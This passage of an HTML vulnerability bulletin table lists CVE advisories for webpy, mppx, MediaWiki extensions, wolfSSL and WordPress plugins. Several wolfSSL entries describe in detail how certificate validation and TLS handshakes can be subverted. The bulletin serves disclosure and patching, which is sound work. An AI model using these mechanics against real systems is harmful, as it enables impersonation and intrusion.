&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79311&quot; target=&quot;_blank&quot;&gt;CVE-2026-79311&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;webpy--web.py 0.76&amp;nbsp;&lt;/td&gt;
&lt;td&gt;webpy web.py 0.76 is vulnerable to Session Fixation. The component Session._load() reads session_id directly from the request cookie and loads that session from the store, and _save() writes back under the same session_id; no rotation after authentication, so a fixed session_id keeps the authenticated state.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79312&quot; target=&quot;_blank&quot;&gt;CVE-2026-79312&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;webpy--web.py 0.76&amp;nbsp;&lt;/td&gt;
&lt;td&gt;webpy web.py 0.76 is vulnerable to Insufficient Session Expiration. The application&#039;s session management relies on periodic cleanup to expire sessions instead of checking the last-access time when a session is loaded. As a result, an expired session whose record has not yet been cleaned up can still be replayed and used, allowing an attacker holding a previously valid session cookie to continue accessing protected resources after the configured idle timeout.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79313&quot; target=&quot;_blank&quot;&gt;CVE-2026-79313&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;wevm--mppx&lt;/td&gt;
&lt;td&gt;mppx is a TypeScript interface for machine payments protocol. Prior to 0.8.2, FeePayerPolicy in src/tempo/internal/fee-payer.ts used decodeFunctionData to validate fee-sponsored calldata but did not reject trailing bytes. A client could append nonzero padding that increased intrinsic calldata gas while gas_limit and max_fee_per_gas remained within policy caps, causing the server fee_payer wallet to pay substantially more than the decoded transaction required. The tested 16 KB header limit bounded the demonstrated padding to about 5,500 bytes and produced approximately five times the normal transaction fee. This issue is fixed in version 0.8.2.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63627&quot; target=&quot;_blank&quot;&gt;CVE-2026-63627&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;wevm--mppx&lt;/td&gt;
&lt;td&gt;mppx is a TypeScript interface for machine payments protocol. Prior to 0.8.2, the fee-payer cosigning path in src/tempo/internal/fee-payer.ts copied a client-supplied access_list from a 0x78 FeePayerEnvelope without validating its length or contents. Because EIP-2930 access-list entries consume intrinsic gas even when the listed addresses are never used, a client could add fabricated address-only entries and cause the server fee_payer wallet to pay unnecessary transaction fees. The demonstrated 180-entry list remained within the 500,000 gas policy cap, 16 KB header limit, and RPC simulation budget while increasing the fee by approximately 9.4 times. This issue is fixed in version 0.8.2.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63628&quot; target=&quot;_blank&quot;&gt;CVE-2026-63628&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Wikimedia Foundation--Mediawiki - ExternalData Extension&lt;/td&gt;
&lt;td&gt;Improper Neutralization of Special Elements used in an OS Command (&#039;OS Command Injection&#039;) vulnerability in Wikimedia Foundation Mediawiki - ExternalData Extension allows OS Command Injection. This issue affects Mediawiki - ExternalData Extension: from * before 3.7.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100382&quot; target=&quot;_blank&quot;&gt;CVE-2026-100382&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Wikimedia Foundation--Mediawiki - TemplateSandbox Extension&lt;/td&gt;
&lt;td&gt;Improper Neutralization of Input During Web Page Generation (XSS or &#039;Cross-site Scripting&#039;) vulnerability in Wikimedia Foundation Mediawiki - TemplateSandbox Extension allows Cross-Site Scripting (XSS). This issue affects Mediawiki - TemplateSandbox Extension: from * before 1.46.1, 1.45.5, 1.43.10.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100376&quot; target=&quot;_blank&quot;&gt;CVE-2026-100376&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Wikimedia Foundation--Mediawiki - Translate Extension&lt;/td&gt;
&lt;td&gt;Missing Authorization vulnerability in Wikimedia Foundation Mediawiki - Translate Extension allows Accessing Functionality Not Properly Constrained by ACLs. This issue affects Mediawiki - Translate Extension: from * before 1.46.1, 1.45.5, 1.43.10.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100378&quot; target=&quot;_blank&quot;&gt;CVE-2026-100378&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Wikimedia Foundation--Mediawiki - UploadWizard Extension&lt;/td&gt;
&lt;td&gt;Improper Neutralization of Input During Web Page Generation (XSS or &#039;Cross-site Scripting&#039;) vulnerability in Wikimedia Foundation Mediawiki - UploadWizard Extension allows Cross-Site Scripting (XSS). This issue affects Mediawiki - UploadWizard Extension: from * before 1.46.1, 1.45.5, 1.43.10.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100381&quot; target=&quot;_blank&quot;&gt;CVE-2026-100381&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Wikimedia Foundation--Mediawiki - Wikibase Extension&lt;/td&gt;
&lt;td&gt;Improper Neutralization of Input During Web Page Generation (XSS or &#039;Cross-site Scripting&#039;) vulnerability in Wikimedia Foundation Mediawiki - Wikibase Extension allows Cross-Site Scripting (XSS). This issue affects Mediawiki - Wikibase Extension: from * before 1.46.1, 1.45.5, 1.43.10.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100380&quot; target=&quot;_blank&quot;&gt;CVE-2026-100380&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Wikimedia Foundation--Mediawiki - WikiLambda Extension&lt;/td&gt;
&lt;td&gt;Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Wikimedia Foundation Mediawiki - WikiLambda Extension allows Excavation. This issue affects Mediawiki - WikiLambda Extension: 1.47.0-alpha. The issue has been remediated on the `master` branch.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100377&quot; target=&quot;_blank&quot;&gt;CVE-2026-100377&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Wikimedia Foundation--Mediawiki - WikiLambda Extension&lt;/td&gt;
&lt;td&gt;Improper Neutralization of Input During Web Page Generation (XSS or &#039;Cross-site Scripting&#039;) vulnerability in Wikimedia Foundation Mediawiki - WikiLambda Extension allows Cross-Site Scripting (XSS). This issue affects Mediawiki - WikiLambda Extension: 1.47.0-alpha. The issue has been remediated on the `master` branch.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100383&quot; target=&quot;_blank&quot;&gt;CVE-2026-100383&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Wikimedia Foundation--Wikipedia Android App&lt;/td&gt;
&lt;td&gt;Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Wikimedia Foundation Wikipedia Android App allows Accessing/Intercepting/Modifying HTTP Cookies. This issue affects Wikipedia Android App: main.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100379&quot; target=&quot;_blank&quot;&gt;CVE-2026-100379&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;wolfSSL--wolfSSL&lt;/td&gt;
&lt;td&gt;In all builds that make use of (D)TLS, including default builds, there is a series of conditional states during the TLS shutdown which could lead to a heap-use-after free. If an application ended up getting a partial wolfSSL_read() which is sometimes caused by a small user buffer passed in, then called wolfSSL_shutdown for a bidirectional close and attempted to wolfSSL_read() again while the peer continues trying to send data during the shutdown it would lead to a state where a potential heap-use-after free happened.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-15442&quot; target=&quot;_blank&quot;&gt;CVE-2026-15442&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;wolfSSL--wolfSSL&lt;/td&gt;
&lt;td&gt;In wolfSSL versions 5.7.2 through 5.9.2 there is a client-side implementation flaw in RFC 6961, multiple OCSP response stapling, which can lead to certificate forgery. When a wolfSSL client enables OCSP stapling with the HAVE_CERTIFICATE_STATUS_REQUEST_V2 feature and calls wolfSSL_UseOCSPStaplingV2(ssl, WOLFSSL_CSR2_OCSP_MULTI, options), the client accepts any certificate in the peer&#039;s chain as a certificate authority without verifying that the certificate is actually authorized to act as one. This means that an attacker who possesses any certificate that chains to a CA trusted by the client (along with its private key) can forge certificates for arbitrary identities that will be accepted as valid by the client. The end entity certificate of the server is stored in the persistent trust store, affecting subsequent connections that reuse the context even when OCSP multi usage is not employed. Found by internal wolfSSL testing.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89102&quot; target=&quot;_blank&quot;&gt;CVE-2026-89102&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;wolfSSL--wolfSSL&lt;/td&gt;
&lt;td&gt;wolfSSL versions 5.9.2 and earlier contain a flaw in the X.509 certificate validation logic where it fails to properly enforce NameConstraints extensions when there is an unconstrained CA tier between a name-constrained intermediate CA and the leaf certificate. wolfSSL incorrectly accepted certificates for hostnames they shouldn&#039;t be allowed to cover, due to a chain-walking state-machine bug that resets the validation state when encountering an intermediate without NameConstraints, thereby bypassing cryptographic delegation controls. This defect exists in the default build configuration that makes use of certificates where name constraint extensions are used. Thanks to Jack Lloyd, PathDiff, and Ben Smyth for reporting the issue.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89133&quot; target=&quot;_blank&quot;&gt;CVE-2026-89133&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;wolfSSL--wolfSSL&lt;/td&gt;
&lt;td&gt;A certificate with no dNSName SAN but another SAN type present (e.g. registeredID or iPAddress) bypassed the Subject CN dNSName name-constraint check. The CN-as-DNS fallback was gated on cert-&amp;gt;subjectCN != NULL &amp;amp;&amp;amp; cert-&amp;gt;altNames == NULL &amp;amp;&amp;amp; !cert-&amp;gt;isCA instead of &quot;no dNSName SAN&quot;, so an out-of-scope CN was accepted. This incomplete fix from CVE-2026-6731, leading to the name-constraint check issue, was introduced in wolfSSL version 5.9.2.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89134&quot; target=&quot;_blank&quot;&gt;CVE-2026-89134&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;wolfSSL--wolfSSL&lt;/td&gt;
&lt;td&gt;A failed X509_verify_cert call permanently plants an unverified attacker CA in the shared CertManager, bypassing certificate validation in every type-blind sibling consumer (native TLS, OCSP, CRL, direct CM verify). This affects version 5.8.4 through 5.9.2 of wolfSSL with the macros (OPENSSL_EXTRA &amp;amp;&amp;amp; !NO_CERTS &amp;amp;&amp;amp; !WOLFCRYPT_ONLY) defined or built with --enable-opensslextra and the application is specifically making calls to the X509_verify_cert function.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89135&quot; target=&quot;_blank&quot;&gt;CVE-2026-89135&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;wolfSSL--wolfSSL&lt;/td&gt;
&lt;td&gt;When using RPK (Raw Public Key), the client side of a TLS 1.2, 1.3 and DTLS 1.2 connection could accept an unsolicited server_cert_type=RawPublicKey which allowed a malicious or misbehaving server to bypass authentication. RPK is off by default and only enabled in --enable-rpk OR --enable-all OR --enable-distro AKA HAVE_RPK builds.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89136&quot; target=&quot;_blank&quot;&gt;CVE-2026-89136&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;wolfSSL--wolfSSL&lt;/td&gt;
&lt;td&gt;MatchTrustedPeer ignores the public key used, leading to forged CA clones passing verification. Affected builds are any that enable the macro WOLFSSL_TRUST_PEER_CERT and load CA certificates with wolfSSL_CTX_trust_peer_cert() or wolfSSL_trust_peer_cert(). The peer must know the certificates being loaded to either of those APIs to take advantage of the issue. When OPENSSL_COMPATIBLE_DEFAULTS is also defined this widens the affected API to include all CA certificate loading. Both macros are defined when using autoconf builds such as (nginx, haproxy, stunnel, wpas, apache httpd, hitch, bind, rsyslog, ffmpeg, all, distro). When the certificate is listed as a trusted peer certificate the issue previously allowed for a malicious (D)TLS server to bypass authentication once knowing which CA&#039;s the client would accept. This also affects mutual authentication cases where the client knows which CA&#039;s the server has loaded. If building with any of these configurations and using (D)TLS where the loaded CA&#039;s could be known and authentication of the peer is desired, users should either: update to the latest wolfSSL version, apply the fix patch, or use the configure flag --disable-openssl-compatible-defaults and not load CA&#039;s with wolfSSL_CTX_trust_peer_cert() or wolfSSL_trust_peer_cert() to mitigate the issue.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93302&quot; target=&quot;_blank&quot;&gt;CVE-2026-93302&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;wolfSSL--wolfSSL&lt;/td&gt;
&lt;td&gt;A (D)TLS 1.2 client can accept a ChangeCipherSpec message before it has sent its ClientKeyExchange. No master secret has been derived at that point, so the client installs read keys derived from a known (deterministic) key and checks the server&#039;s Finished against that same key. An out-of-order ChangeCipherSpec can therefore be used by an attacker to complete the handshake in place of the server and send data the client accepts as authentic. The client&#039;s own traffic still uses correctly derived keys, so the attacker cannot read it, and the genuine server never completes the handshake. DTLS 1.2 clients are exposed because a datagram read can deliver the out-of-order records on its own. TLS 1.2 clients are exposed when the application supplies received bytes with wolfSSL_inject() or enables read ahead. For certificate suites, the attacker must be in a man-in-the-middle position. For PSK (Pre Shared Key) connections, any fake server can succeed without knowing the PSK.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93304&quot; target=&quot;_blank&quot;&gt;CVE-2026-93304&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;wolfSSL--wolfSSL&lt;/td&gt;
&lt;td&gt;When an application enables both OCSP and CRL revocation checking on one WOLFSSL_CTX or certificate manager, wolfSSL skips the CRL check for any peer certificate that carries no Authority Information Access OCSP URL, and accepts a certificate the loaded CRL lists as revoked. The soft-fail policy for a missing responder collapses the OCSP result onto success before the code decides whether the CRL fallback is still needed, so &quot;no responder exists&quot; becomes indistinguishable from &quot;the responder answered good&quot;. Affected builds define both HAVE_OCSP and HAVE_CRL: --enable-ocsp --enable-crl directly, and implicitly --enable-all, --enable-distro, --enable-curl, --enable-nginx, --enable-haproxy, --enable-stunnel, --enable-lighty, --enable-wpas, --enable-strongswan, --enable-mosquitto, --enable-jni, --enable-openvpn and --enable-krb. An application is affected only if it calls both wolfSSL_CTX_EnableOCSP() (or wolfSSL_EnableOCSP() / wolfSSL_CertManagerEnableOCSP()) and wolfSSL_CTX_EnableCRL() (or the equivalents) with a CRL loaded; an application that uses OCSP stapling alone through wolfSSL_CTX_EnableOCSPStapling() is not affected, because that sets up a separate OCSP instance. The defect sits in ProcessPeerCerts() and is reachable over TLS 1.0 through TLS 1.3 and DTLS, both on a client verifying a server certificate and on a server verifying a client certificate under mutual or post-handshake authentication. When the skipped check falls on a chain certificate rather than the leaf, the unchecked intermediate is promoted into the certificate manager and stays a trusted signer for every later connection on that context, so an affected long-running process needs its WOLFSSL_CTX torn down and not only its library replaced. All wolfSSL versions from 5.9.2 and earlier are affected; on versions 5.9.1 and 5.9.2 the WOLFSSL_OCSP_CHECKALL configuration fails closed with OCSP_NEED_URL, which leaves wolfSSL_CTX_EnableOCSP() without CHECKALL as the exposed configuration on 5.9.2.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94417&quot; target=&quot;_blank&quot;&gt;CVE-2026-94417&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;wolfSSL--wolfSSL&lt;/td&gt;
&lt;td&gt;Under WOLFSSL_SMALL_CERT_VERIFY, ProcessPeerCertParse() runs the certificate signature check separately from the parse to keep peak memory down, then merges the two results, but it merged the signature result back only when the parse returned 0, so any parse error hid it. ParseCertRelative() reaches its validity-date, name-constraint and critical-extension checks only after ConfirmSignature() has passed, so splitting the signature check out inverts the precedence that makes &quot;override date errors&quot; a sound policy, and ASN_SIG_CONFIRM_E is never surfaced anywhere. The attacker needs no key material from the real PKI and no CA compromise: a self-made certificate carrying the expected subject name, the trusted CA&#039;s subject as its issuer, arbitrary bytes where the signature goes, a validity window in the past and the attacker&#039;s own key pair is sufficient. Affected builds define WOLFSSL_SMALL_CERT_VERIFY, which is off by default, is not set implicitly by any platform or preset header, and is not reachable from any CMake option; the autotools routes are --enable-lowresource, --enable-leantls, --enable-tinytls13=cert and --enable-tinytls13=mutualauth, and examples/configs/user_settings_embedded.h reaches it through WC_CFG_SMALL_CERT_VERIFY, which ships as 0, while neither --enable-all nor --enable-distro enables it at all. The application must additionally install a verify callback through wolfSSL_CTX_set_verify() or wolfSSL_set_verify() with WOLFSSL_VERIFY_PEER that returns 1 for ASN_BEFORE_DATE_E or ASN_AFTER_DATE_E; wolfSSL ships this exact shape as myVerify() in wolfssl/test.h under VERIFY_OVERRIDE_DATE_ERR, which examples/client -D selects. An application with no callback, or whose callback returns preverify for date errors, still fails the handshake, and wolfSSL_CertManagerVerifyBuffer() and wc_CheckCertSignature() report ASN_SIG_CONFIRM_E correctly in the same binary. TLS 1.2 and TLS 1.3 are affected in both directions, and DTLS reaches the same function; where the forged certificate is a chain certificate the callback&#039;s consent causes it to be cached in the WOLFSSL_CTX certificate manager, so an exposed deployment must restart the context or the process rather than merely reconnect.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94418&quot; target=&quot;_blank&quot;&gt;CVE-2026-94418&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;wolfSSL--wolfSSL&lt;/td&gt;
&lt;td&gt;Without NO_SESSION_CACHE_REF, wolfSSL_get_session() does not return a session object but a ClientSession reference of the form {row, index, hash(sessionID)} into the process-global SessionCache, and ClientSessionToSession() validates it against that hash alone. Because the TLS 1.2 session ID is chosen by the server and sent in clear, AddSessionToCache() matches any other server&#039;s session on the same ID and overwrites the client-side entry with that server&#039;s master secret, cipher suite and version, while the handle continues to resolve; nothing on the write path compares the peer, the application&#039;s server ID or the WOLFSSL_CTX. Resuming through the handle then produces an abbreviated handshake in which no Certificate message is sent, so neither chain verification nor wolfSSL_check_domain_name() runs, and the attacker is accepted as the original server for the whole of that connection. Affected builds are those leaving NO_SESSION_CACHE_REF, NO_SESSION_CACHE, NO_CLIENT_CACHE and TITAN_SESSION_CACHE all undefined, which includes a plain ./configure, --enable-opensslextra and --enable-opensslall; fifteen integration options define NO_SESSION_CACHE_REF and are therefore not affected, among them --enable-all, --enable-distro, --enable-curl, --enable-nginx, --enable-haproxy, --enable-stunnel, --enable-wpas and the rest of the OPENSSL_COMPATIBLE_DEFAULTS family, and --enable-leanpsk, --enable-leantls, --enable-lowresource and --enable-tinytls13 disable the cache outright. The application must use the legacy reference flow, wolfSSL_get_session() or SSL_get_session() followed by wolfSSL_set_session(); wolfSSL_get1_session() returns the session object itself and is not affected, nor are wolfSSL_SetServerID() lookups. Only TLS 1.2 and below and DTLS 1.2 and below are reachable, since TLS 1.3 and ticket resumption with an empty ServerHello session ID both use a client-chosen cache key. The poisoned entry lives in the process-global cache, so it crosses WOLFSSL_CTX boundaries and persists until the entry is evicted or the session times out, 500 seconds by default. Releases v5.3.0 through v5.9.2 are affected; the fix adds a per-write generation counter to the cache and raises WOLFSSL_CACHE_VERSION from 2 to 3, so a cache persisted by an older build is rejected by a fixed one.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94419&quot; target=&quot;_blank&quot;&gt;CVE-2026-94419&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WordPress--WordPress&lt;/td&gt;
&lt;td&gt;An unauthenticated attacker can make `get_page_template()` page-template resolution include a chosen readable local `.php` file outside the active theme directories. If relevant pre-conditions for both the server and the active theme are met, this can lead to RCE.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87902&quot; target=&quot;_blank&quot;&gt;CVE-2026-87902&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Worktree--openCode v1.18.26&lt;/td&gt;
&lt;td&gt;Missing path validation in the Worktree.remove component of openCode v1.18.26 allows attackers to execute arbitrary recursive directory deletion via a crafted payload.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88624&quot; target=&quot;_blank&quot;&gt;CVE-2026-88624&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WP Delicious--WP Delicious&lt;/td&gt;
&lt;td&gt;The WP Delicious WordPress plugin before 1.10.8 does not validate or escape the HTML tag name taken from user-supplied recipe block data before rendering it on the front end, allowing users with the Contributor role and above to inject arbitrary HTML tags, including script tags, which execute when the recipe page is viewed.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92411&quot; target=&quot;_blank&quot;&gt;CVE-2026-92411&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WP Directory Kit--WP Directory Kit&lt;/td&gt;
&lt;td&gt;The WP Directory Kit WordPress plugin before 1.5.8 does not sanitize and escape some of its category and location fields before outputting them in page attributes, allowing users with a WP Directory Kit WordPress plugin before 1.5.8-specific listing-management role (and without the unfiltered_html capability) to perform Stored Cross-Site Scripting attacks that execute for any visitor of the affected page.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-16591&quot; target=&quot;_blank&quot;&gt;CVE-2026-16591&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WP OAuth Server ( Login with WordPress )--WP OAuth Server ( Login with WordPress )&lt;/td&gt;
&lt;td&gt;The WP OAuth Server ( Login with WordPress ) WordPress plugin before 6.4.0 does not bind the OpenID Connect identity assertion it issues to the authorization grant being exchanged, returning instead the assertion belonging to whichever user authenticated most recently, which allows users with the Subscriber role and above to obtain a validly signed identity assertion for another user, including an administrator, and authenticate as them at any application that uses the site for single sign-on.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82843&quot; target=&quot;_blank&quot;&gt;CVE-2026-82843&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WP Recipe Maker--WP Recipe Maker&lt;/td&gt;
&lt;td&gt;The WP Recipe Maker WordPress plugin before 10.8.2 does not perform any capability check in one of its AJAX actions, allowing any authenticated user, such as a subscriber, to read the full content of unpublished recipes.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86602&quot; target=&quot;_blank&quot;&gt;CVE-2026-86602&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WP Recipe Maker--WP Recipe Maker&lt;/td&gt;
&lt;td&gt;The WP Recipe Maker WordPress plugin before 10.8.2 does not have any authorisation check in one of its AJAX actions, allowing any authenticated user, such as a subscriber, to retrieve the IDs and titles of other users&#039; unpublished lists.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86603&quot; target=&quot;_blank&quot;&gt;CVE-2026-86603&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WP Recipe Maker--WP Recipe Maker&lt;/td&gt;
&lt;td&gt;The WP Recipe Maker WordPress plugin before 10.8.2 does not have any authorisation check in one of its REST routes, nor does it bound what that route stores, allowing unauthenticated users to write unlimited data into any user&#039;s metadata and to permanently prevent that account, including an administrator&#039;s, from loading.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86608&quot; target=&quot;_blank&quot;&gt;CVE-2026-86608&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
